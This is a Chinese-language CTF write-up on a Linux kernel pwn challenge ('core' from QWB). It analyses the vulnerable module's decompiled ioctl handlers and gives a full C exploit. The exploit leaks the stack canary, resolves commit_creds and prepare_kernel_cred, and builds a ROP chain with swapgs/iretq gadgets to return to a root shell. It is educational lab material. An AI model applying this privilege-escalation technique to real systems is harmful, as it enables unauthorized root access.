跟着CTF-wiki学一下kernel pwn

先看start.sh

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

可以看到,用bzImage当作内核,然后把core.cpio当作镜像

先从bzImage中提取出来vmlinux,然后再把core.cpio解包

-s告诉我们可以用gdb来调试它

再看init

进入core.cpio解包的文件夹,查看init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

#poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

cat /proc/kallsyms > /tmp/kallsyms告诉我们有一个备份的kallsyms

echo 1 > /proc/sys/kernel/kptr_restrict告诉我们不能通过 /proc/kallsyms 查看函数地址

setsid /bin/cttyhack setuidgid 1000 /bin/sh告诉我们我们的shell的uidgid是1000

poweroff -d 0 -f是定时关机

core.ko

checksec

1
2
3
4
5
6
7
8
dajun@ubuntu:~/***$ checksec ./vmlinux 
[*] '/home/dajun/binary/pwn_question/kernel/core/give_to_player/vmlinux'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments

可以看到vmlinux开启了canary

漏洞点非常明确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall core_ioctl(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // rbx

v3 = a3;
switch ( (_DWORD)a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD, a3);
off = v3; //直接设置全局变量off
break;
case 0x6677889A:
printk(&unk_2B3, a2);
core_copy_func(v3);
break;
}
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall core_read(__int64 a1, __int64 a2)
{
__int64 v2; // rbx
__int64 *v3; // rdi
signed __int64 i; // rcx
unsigned __int64 result; // rax
__int64 v6; // [rsp+0h] [rbp-50h]
unsigned __int64 v7; // [rsp+40h] [rbp-10h]

v2 = a1;
v7 = __readgsqword(0x28u);
printk(&unk_25B, a2);
printk(&unk_275, off);
v3 = &v6;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v3 = 0;
v3 = (__int64 *)((char *)v3 + 4);
}
strcpy((char *)&v6, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(v2, (char *)&v6 + off, 64LL); //根据off来进行读
if ( !result )
return __readgsqword(0x28u) ^ v7;
__asm { swapgs }
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
signed __int64 __fastcall core_copy_func(signed __int64 a1, __int64 a2)
{
signed __int64 result; // rax
__int64 v3; // [rsp+0h] [rbp-50h]
unsigned __int64 v4; // [rsp+40h] [rbp-10h]

v4 = __readgsqword(0x28u);
printk(&unk_215, a2);
if ( a1 > 63 )
{
printk(&unk_2A1, a2);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(&v3, &name, (unsigned __int16)a1); //栈溢出
}
return result;
}

思路

  • 设置off,读取canary
  • /tmp/kallsyms找到commit_credsprepare_kernel_cred的内存的地址
  • rop

要注意的是,我们从checksec得到的vmlinux的基地址和它实际在内存里面的地址是有偏移的

所以我们要计算出这个偏移,方法就是用类似于找libc基地址的方式找vmlinux的基地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <pthread.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>

size_t vmlinux_base = 0;
size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;


void getshell()
{
if(getuid() == 0)
{
puts("[+] getting shell");
system("/bin/sh");
}
else
{
puts("[-] fail!");
}
exit(0);
}

#define CORE_READ 0x6677889B
#define SET_OFF 0x6677889C
#define CORE_COPY_FUNC 0x6677889A

void core_read(int fd, char *buf)
{
ioctl(fd, CORE_READ, buf);
}

void set_off(int fd, int off)
{
ioctl(fd, SET_OFF, off);
}

void core_copy_func(int fd, char *buf)
{
ioctl(fd, CORE_COPY_FUNC, buf);
}

size_t user_cs, user_ss, user_sp, user_flag;

void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_flag;"
);
puts("[+] save status succeed!");
}

void find_symbols()
{
FILE *fd = fopen("/tmp/kallsyms", "r");
if(fd < 0)
{
puts("[-] open kallsyms failed!");
exit(0);
}
char buf[0x30] = {0};
commit_creds = 0;
prepare_kernel_cred = 0;
while(fgets(buf, 0x30, fd))
{
if(commit_creds && prepare_kernel_cred)
return;
if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("[+] commit_creds: 0x%llx\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("[+] prepare_kernel_cred: 0x%llx\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
}
}
}
void main()
{
save_status();
size_t raw_vmlinux_base = 0xffffffff81000000;
int fd = open("/proc/core", 2);
if(fd < 0)
{
puts("[-] open dev error");
exit(0);
}
set_off(fd, 0x40);
char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+] canary: 0x%llx\n", canary);
find_symbols();
ssize_t offset = vmlinux_base - raw_vmlinux_base;
printf("[+] vmlinux_base: 0x%llx\n", vmlinux_base);
size_t rop[0x1000] = {0};
int i=0;
for(;i<10;i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)getshell; // rip

rop[i++] = user_cs;
rop[i++] = user_flag;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}

总结

为什么要保存环境

因为rop的时候是在内核态,而如果我们要执行用户态的shell的话就要退出内核态,而退出内核态需要之前环境的信息

swapgs和iretq怎么找?

objdump -d ./vmlinux -M intel| less

就找到了这个

1
2
3
ffffffff81a012da:       0f 01 f8                swapgs 
ffffffff81a012dd: 9d popf
ffffffff81a012de: c3 ret
1
2
ffffffff81050ac2:       48 cf                   iretq  
ffffffff81050ac4: c3 ret

如何gdb调试

1
2
3
4
gdb /path/to/vmlinux -q
(gdb) add-symbol-file /path/to/core.ko address_of_.text
(gdb) b core_copy_func (或者其他什么函数,随便)
(gdb) target remote localhost:1234

address_of_.text/sys/module/core/section/.text中,cat一下就得到了,但是需要root权限,把setuidgid这句里面的1000改成0就可以了